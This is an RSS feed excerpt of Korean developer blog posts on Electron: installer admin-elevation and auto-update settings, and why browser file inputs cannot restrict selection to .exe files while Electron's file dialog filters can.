<h3 id="6-설치할-때-관리자-권한uac-뜨게-할-수-있나요">6. <strong>“설치할 때 관리자 권한(UAC) 뜨게 할 수 있나요?”</strong></h3>
<blockquote>
<p>네! 다음 옵션을 추가하면 됩니다:</p>
</blockquote>
<pre><code class="language-json">
&quot;win&quot;: {
  &quot;requestedExecutionLevel&quot;: &quot;requireAdministrator&quot;
}</code></pre>
<blockquote>
<p>그러면 설치할 때 UAC 경고창이 뜨며 관리자 권한으로 실행됩니다.</p>
</blockquote>
<hr>
<h3 id="7-자동-업데이트-안-되는-경우도-있어요">7. <strong>“자동 업데이트 안 되는 경우도 있어요?”</strong></h3>
<blockquote>
<p>네, 이런 경우에는 동작하지 않습니다:</p>
</blockquote>
<ul>
<li><code>latest.yml</code>이 서버에 없거나 URL 설정이 틀림</li>
<li><code>version</code>을 이전 버전으로 다시 낮췄을 경우 (다운그레이드 미지원)</li>
<li>앱을 UAC 권한 없이 설치했는데, 업데이트 파일이 관리자 권한을 요구함</li>
<li>네트워크에서 업데이트 서버 접근이 불가능한 경우</li>
</ul>
<hr>
<h2 id="🧘-마무리하며">🧘 마무리하며</h2>
<p>React + Electron 앱을 설치형으로 배포하려면 뭔가 복잡하고 무서울 것 같았습니다.</p>
<p>하지만 해보니 꽤 재밌고, 은근히 뿌듯하고,</p>
<p>무엇보다 <strong>“내가 만든 앱이 진짜로 깔린다”</strong>는 경험은 굉장히 짜릿합니다.</p>
<p>웹 개발자도 설치형 앱 만들 수 있습니다.</p>
<p>그리고 그 앱이 알아서 업데이트도 합니다.</p>
<p>그걸 서버에 자동으로 배포하는 스크립트까지 굴러갑니다.</p>
<p>이 글을 여기까지 읽으신 당신도, 지금 바로 <code>npm run electron:build</code>을 해보세요.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[❓그럼 Node.js쓰면 파일 선택기를 제한할 수 있나요??]]></title>
            <link>https://velog.io/@songyeonji_/%EA%B7%B8%EB%9F%BC-Node.js%EC%93%B0%EB%A9%B4-%ED%8C%8C%EC%9D%BC-%EC%84%A0%ED%83%9D%EA%B8%B0%EB%A5%BC-%EC%A0%9C%ED%95%9C%ED%95%A0-%EC%88%98-%EC%9E%88%EB%82%98%EC%9A%94</link>
            <guid>https://velog.io/@songyeonji_/%EA%B7%B8%EB%9F%BC-Node.js%EC%93%B0%EB%A9%B4-%ED%8C%8C%EC%9D%BC-%EC%84%A0%ED%83%9D%EA%B8%B0%EB%A5%BC-%EC%A0%9C%ED%95%9C%ED%95%A0-%EC%88%98-%EC%9E%88%EB%82%98%EC%9A%94</guid>
            <pubDate>Wed, 30 Apr 2025 06:32:18 GMT</pubDate>
            <description><![CDATA[<h2 id="💡-결론-먼저-말하자면">💡 결론 먼저 말하자면:</h2>
<blockquote>
<p>❌ Node.js만으로는 사용자의 파일 선택 창을 띄우고 제어할 수 없습니다.</p>
<p><strong>✅ Electron은 Chromium + Node.js 조합이라서 그게 가능한 거예요.</strong></p>
</blockquote>
<hr>
<h2 id="🔍-왜-nodejs는-파일-선택을-못-하는가">🔍 왜 Node.js는 파일 선택을 못 하는가?</h2>
<p>Node.js는 <strong>서버 사이드 런타임</strong>입니다.</p>
<ul>
<li>Node는 백그라운드에서 돌아가는 <strong>터미널 기반 애플리케이션</strong>을 만들 때 쓰죠.</li>
<li>그러니까 <strong>사용자에게 UI를 띄운다거나, 마우스로 파일을 고르게 한다거나</strong> 하는 건 Node의 역할이 아닙니다.</li>
</ul>
<pre><code class="language-tsx">
// Node.js에서는 이런 코드 못 씁니다
dialog.showOpenDialog(...); // UI 없음, 사용자 없음</code></pre>
<p>Node.js에서 파일을 여는 방식은 이런 겁니다:</p>
<pre><code class="language-tsx">
const fs = require(&#39;fs&#39;);

fs.readFile(&#39;C:/path/to/some/file.exe&#39;, (err, data) =&gt; {
  // 사용자가 직접 경로를 입력해야 함
});</code></pre>
<blockquote>
<p>즉, Node는 파일을 “여는” 건 잘하지만, “고르게 하는” 건 못 합니다.</p>
</blockquote>
<hr>
<h2 id="✅-react--nodejs-조합에서는-어떤-구조">✅ React + Node.js 조합에서는 어떤 구조?</h2>
<h3 id="예시-구조-웹에서-흔히-쓰는-구조">예시 구조 (웹에서 흔히 쓰는 구조):</h3>
<pre><code class="language-css">
[React (프론트엔드)] &lt;--- HTTP 요청 ---&gt; [Node.js (백엔드)]</code></pre>
<ul>
<li>React는 <code>&lt;input type=&quot;file&quot;&gt;</code>로 <strong>사용자에게 파일을 선택하게 하고</strong>,</li>
<li>선택한 파일은 FormData로 <strong>Node.js 서버에 업로드</strong>합니다.</li>
</ul>
<p><strong>이 구조에서는 React가 “고르게” 하고, Node가 “받아서 처리”합니다.</strong></p>
<hr>
<h2 id="❌-그런데-nodejs만으로-사용자가-파일을-고르게-하기는-불가능">❌ 그런데 Node.js만으로 &quot;사용자가 파일을 고르게 하기&quot;는 불가능</h2>
<p>Node는 콘솔 기반 런타임이라, <strong>사용자와 시각적인 상호작용을 할 수 없습니다.</strong></p>
<p>파일 선택창 같은 UI는 존재하지 않아요.</p>
<pre><code class="language-tsx">
// Node.js에서 이런 건 안 됨 ❌
dialog.showOpenDialog(); // Electron에서만 
</code></pre>
<hr>
<h2 id="✅-electron은-다릅니다">✅ Electron은 다릅니다</h2>
<p>Electron은:</p>
<pre><code class="language-css">
[React (렌더러)] &lt;== IPC 통신 ==&gt; [Node.js (메인 프로세스)]</code></pre>
<p>이 구조라서,</p>
<ul>
<li>React가 버튼을 보여주고</li>
<li>Node가 파일 선택 다이얼로그 띄우고</li>
<li>선택한 파일 경로를 다시 React에 전달합니다</li>
</ul>
<p>이 둘이 서로 IPC로 통신하면서 완전체를 이룹니다. 그래서 가능한 거예요.</p>
<hr>
<h2 id="✨-결론">✨ 결론</h2>
<table>
<thead>
<tr>
<th>항목</th>
<th>React (브라우저)</th>
<th>Node.js</th>
<th>Electron</th>
</tr>
</thead>
<tbody><tr>
<td>사용자에게 파일 선택 시키기</td>
<td>✅ 가능 (<code>&lt;input&gt;</code>)</td>
<td>❌ 불가능</td>
<td>✅ 가능 (<code>showOpenDialog</code>)</td>
</tr>
<tr>
<td><code>.exe</code>만 고르게 제한</td>
<td>❌ 힌트만 가능</td>
<td>❌ 아예 불가</td>
<td>✅ 완벽 제어 가능</td>
</tr>
<tr>
<td>시스템 경로 접근</td>
<td>❌ 제한됨</td>
<td>✅ 가능</td>
<td>✅ 가능</td>
</tr>
<tr>
<td>파일 다이얼로그 커스터마이징</td>
<td>❌ 불가</td>
<td>❌ 불가</td>
<td>✅ 이름, 필터, 확장자 제한 모두 가능</td>
</tr>
</tbody></table>
<blockquote>
<p>&quot;React는 사용자에게 보여주고 고르게 하는 데 특화돼 있고,
Node는 파일을 열고 조작하는 데 특화돼 있어요.
이 둘을 연결하려면 React → 사용자 선택 → Node로 전송 구조가 필요합니다.
하지만 Node만으로는 절대 사용자에게 파일을 &#39;고르게&#39; 할 수는 없습니다.&quot;</p>
</blockquote>
<h3 id="🧠-쉽게-비유하자면">🧠 쉽게 비유하자면</h3>
<table>
<thead>
<tr>
<th>환경</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Node.js만</strong></td>
<td>전화기 본체는 있는데, <strong>수화기가 없음</strong> (사용자와 대화 불가능)</td>
</tr>
<tr>
<td><strong>브라우저만</strong></td>
<td>수화기(인터페이스)는 있는데, <strong>전화를 걸 능력이 없음</strong> (시스템 제어 불가능)</td>
</tr>
<tr>
<td><strong>Electron</strong></td>
<td>전화기 + 수화기 + 교환원까지 다 있음 😎</td>
</tr>
</tbody></table>
<h3 id="🎯-진짜-하고-싶은-게-파일-고르는-시점부터-제어라면">🎯 진짜 하고 싶은 게 &quot;파일 고르는 시점부터 제어&quot;라면</h3>
<p>React + Node.js 구조로는 <strong>절대로 불가능</strong>합니다.</p>
<p><strong>Electron 또는 WASM + Native bridge 같은 대안</strong>을 고려해야 합니다</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[🎯 “.exe만 고르게 해주세요”… 저는 그렇게 말했습니다]]></title>
            <link>https://velog.io/@songyeonji_/.exe%EB%A7%8C-%EA%B3%A0%EB%A5%B4%EA%B2%8C-%ED%95%B4%EC%A3%BC%EC%84%B8%EC%9A%94-%EC%A0%80%EB%8A%94-%EA%B7%B8%EB%A0%87%EA%B2%8C-%EB%A7%90%ED%96%88%EC%8A%B5%EB%8B%88%EB%8B%A4</link>
            <guid>https://velog.io/@songyeonji_/.exe%EB%A7%8C-%EA%B3%A0%EB%A5%B4%EA%B2%8C-%ED%95%B4%EC%A3%BC%EC%84%B8%EC%9A%94-%EC%A0%80%EB%8A%94-%EA%B7%B8%EB%A0%87%EA%B2%8C-%EB%A7%90%ED%96%88%EC%8A%B5%EB%8B%88%EB%8B%A4</guid>
            <pubDate>Wed, 30 Apr 2025 05:51:47 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/c951685e-b388-4665-bf6d-4f6093d5a65d/image.png" alt=""></p>
<blockquote>
<p>“사용자한테 .exe만 고르게 하고 싶습니다.</p>
<p>다른 거? <code>.zip</code>? <code>.txt</code>? <strong>고르지도 못하게 해주세요.</strong> 클릭도 못 하게요.”</p>
</blockquote>
<p>처음엔 정말 그게... <strong>쉬울 줄 알았어요.</strong></p>
<h2 id="🚪-시작은-언제나-input-typefile">🚪 시작은 언제나 <code>&lt;input type=&quot;file&quot;&gt;</code></h2>
<p>React로 프로젝트를 짜다 보면 파일 선택이 필요하잖아요?
<img src="https://velog.velcdn.com/images/songyeonji_/post/3c7e95d2-0e1a-4bf2-a4bd-c4cf134649cd/image.png" alt=""></p>
<pre><code class="language-tsx">
&lt;input type=&quot;file&quot; accept=&quot;.exe&quot; /&gt;</code></pre>
<p>저는 이걸 썼습니다.</p>
<p>그리고 자신만만하게 <code>.exe</code>만 나올 줄 알고 확인 버튼을 눌렀죠.</p>
<p>그런데…</p>
<blockquote>
<p>&quot;모든 파일 (.)&quot;</p>
</blockquote>
<p>?????? 😨</p>
<p><strong>왜 이게 보여...?</strong></p>
<p><code>.txt</code>도 선택되고, <code>.pdf</code>도 되고… <strong>온갖 파일이 다 들어오는 겁니다.</strong></p>
<p>“accept는 도대체 왜 준 거야…??” 싶은 순간이었죠.</p>
<hr>
<h2 id="🔍-react의-accept는-말-그대로-추천일-뿐입니다">🔍 React의 <code>accept</code>는 말 그대로 “추천”일 뿐입니다</h2>
<p>사실 <code>&lt;input type=&quot;file&quot; accept=&quot;...&quot;&gt;</code>는 <strong>&quot;이런 파일이 적절해요~&quot;</strong>라는 힌트일 뿐이고,</p>
<p><strong>사용자 선택을 제한할 권한은 없습니다.</strong></p>
<p>브라우저는 보안이 가장 중요하기 때문에,</p>
<p><strong>사용자 파일 시스템을 적극적으로 제한하지 않습니다.</strong></p>
<p>🧨 그래서 결국… 이상한 파일이 들어오고 <strong>메타데이터 추출에서 앱이 터지고... 💣</strong></p>
<hr>
<h2 id="😎-그런데-말입니다-electron을-쓰면-얘기가-달라집니다">😎 그런데 말입니다. Electron을 쓰면 얘기가 달라집니다</h2>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/68eaddca-9172-4d83-bb49-27dbed56d22f/image.png" alt="">
Electron에서는 이렇게 쓸 수 있어요:</p>
<pre><code class="language-tsx">
const result = await window.electronAPI.openFileDialog({
  title: &#39;실행 파일을 선택하세요&#39;,
  filters: [{ name: &#39;실행 파일&#39;, extensions: [&#39;exe&#39;] }],
  properties: [&#39;openFile&#39;]
});</code></pre>
<p>이 코드 하나면,</p>
<blockquote>
<p>✅ .exe 외 확장자? 절대 안 보여요</p>
<p>✅ <strong>&quot;모든 파일&quot;? 그런 거 없습니다</strong></p>
<p>✅ <code>.zip</code>? <code>.txt</code>? 선택조차 못 합니다!</p>
</blockquote>
<p>Electron은 내부적으로 <strong>Node.js를 내장</strong>하고 있어서</p>
<p><code>dialog.showOpenDialog()</code>로 <strong>운영체제의 파일 탐색기를 직접 호출</strong>합니다.</p>
<p>즉, 이건 힌트가 아니라 진짜 <strong>OS에다가 &quot;이거만 보여줘!&quot;</strong>라고 말하는 거예요.</p>
<hr>
<h2 id="🚀-electron이-가능한-이유-nodejs의-힘">🚀 Electron이 가능한 이유: Node.js의 힘</h2>
<p>Electron은 내부적으로 <strong>Node.js를 내장</strong>하고 있고,</p>
<p>파일 시스템, 네이티브 모듈, OS API 등에 자유롭게 접근할 수 있습니다.</p>
<p>그래서 가능해지는 것들:</p>
<ul>
<li><code>fs</code>, <code>path</code> 등을 통한 파일 직접 접근</li>
<li><code>child_process</code>로 PowerShell/CLI 호출</li>
<li><code>dialog.showOpenDialog()</code>로 확장자 제한 강제</li>
<li>심지어 <code>.exe</code> 메타데이터 추출, 서명 확인까지 가능!</li>
</ul>
<p>웹브라우저는 이걸 못 합니다.</p>
<p><strong>보안이 우선이기 때문에</strong>, 사용자 디바이스에 있는 파일을 마음대로 보고, 필터링하고, 실행하고 하는 행위는 제한되죠</p>
<h2 id="⚔️-이래서-electron을-씁니다">⚔️ 이래서 Electron을 씁니다</h2>
<table>
<thead>
<tr>
<th>항목</th>
<th>React (브라우저)</th>
<th>Electron</th>
</tr>
</thead>
<tbody><tr>
<td>확장자 제한</td>
<td>❌ 힌트만 가능</td>
<td>✅ 진짜 제한 가능</td>
</tr>
<tr>
<td>시스템 접근</td>
<td>❌ 제한됨</td>
<td>✅ Native API 가능</td>
</tr>
<tr>
<td>메타데이터 추출</td>
<td>❌ 불가능</td>
<td>✅ PowerShell, 인증서 분석 가능</td>
</tr>
<tr>
<td>UX</td>
<td>😢 실수 유도 가능</td>
<td>😎 실수 차단 가능</td>
</tr>
</tbody></table>
<p>Electron을 쓰는 이유가 이런 <strong>강력한 시스템 제어력</strong> 때문 아니겠어요? 😎</p>
<p>파일 선택기 하나도 제대로 다루면 앱이 훨씬 견고해집니다.</p>
<p><a href="https://velog.io/@songyeonji_/%EA%B7%B8%EB%9F%BC-Node.js%EC%93%B0%EB%A9%B4-%ED%8C%8C%EC%9D%BC-%EC%84%A0%ED%83%9D%EA%B8%B0%EB%A5%BC-%EC%A0%9C%ED%95%9C%ED%95%A0-%EC%88%98-%EC%9E%88%EB%82%98%EC%9A%94">❓그럼 Node.js쓰면 파일 선택기를 제한할 수 있나요??</a></p>
<hr>
<h2 id="🧁-보너스-🍩-electron-없이-exe만-고르게-하려면">🧁 보너스 🍩: Electron 없이 <code>.exe</code>만 고르게 하려면?</h2>
<p>Electron 안 쓰는데 진짜 <code>.exe</code>만 고르게 하고 싶으시다고요?</p>
<p>그럼 이건 <em>크게 두 가지 방법</em>을 고민해보셔야 합니다.</p>
<h3 id="1-업로드-후-검증">1. 업로드 후 검증</h3>
<ul>
<li><p>사용자가 뭘 업로드하든 <strong>서버나 클라이언트에서 검사해서</strong></p>
<p>  <code>.exe</code> 아니면 거절하는 방법입니다.</p>
</li>
<li><p>예: MIME 타입 체크, 확장자 검사, 내부 구조 일부 파싱 등</p>
</li>
</ul>
<pre><code class="language-tsx">
if (!file.name.endsWith(&#39;.exe&#39;)) {
  alert(&#39;이 파일은 .exe가 아닙니다!&#39;);
  return;
}</code></pre>
<p>🧨 단점: 사용자 입장에선 이미 파일 고르고도 &quot;안 돼요&quot; 하면 UX가 안 좋아요.</p>
<hr>
<h3 id="2-커스텀-파일-업로드-컴포넌트-만들기">2. 커스텀 파일 업로드 컴포넌트 만들기</h3>
<ul>
<li><p>라이브러리 없이 <code>&lt;input type=&quot;file&quot;&gt;</code> 대신</p>
<p>  <strong>버튼 + 드래그앤드롭 UI를 만들어서</strong> 내부에서 <code>.exe</code> 파일만 거르는 방식입니다</p>
</li>
<li><p>브라우저 보안상 &quot;선택 자체를 막는 것&quot;은 불가능하므로,</p>
<p>  <strong>선택 후 거르는 UX로 우회</strong>해야 합니다</p>
</li>
</ul>
<hr>
<h2 id="🎬-결론">🎬 결론</h2>
<blockquote>
<p>“accept=&quot;.exe&quot; 줬는데도 안 막히네?”</p>
<p>→ <strong>당연한 거였습니다.</strong></p>
<p>브라우저는 권한이 없거든요.</p>
</blockquote>
<p>💡 하지만 Electron은 <strong>OS에 진짜 말을 걸 수 있는 도구</strong>니까요.</p>
<p><code>dialog.showOpenDialog()</code>를 쓰면</p>
<p><strong>보안성, UX, 실수 방지까지 완벽하게 챙길 수 있습니다.</strong></p>
<hr>
<p>📌 만약 Electron 없이 이 기능이 꼭 필요하다면?</p>
<p><strong>&quot;제대로 못 막는다는 사실을 알고, 대응 UX를 설계하는 것&quot;</strong>이 중요합니다!</p>
]]></description>
        </item>
    </channel>
</rss>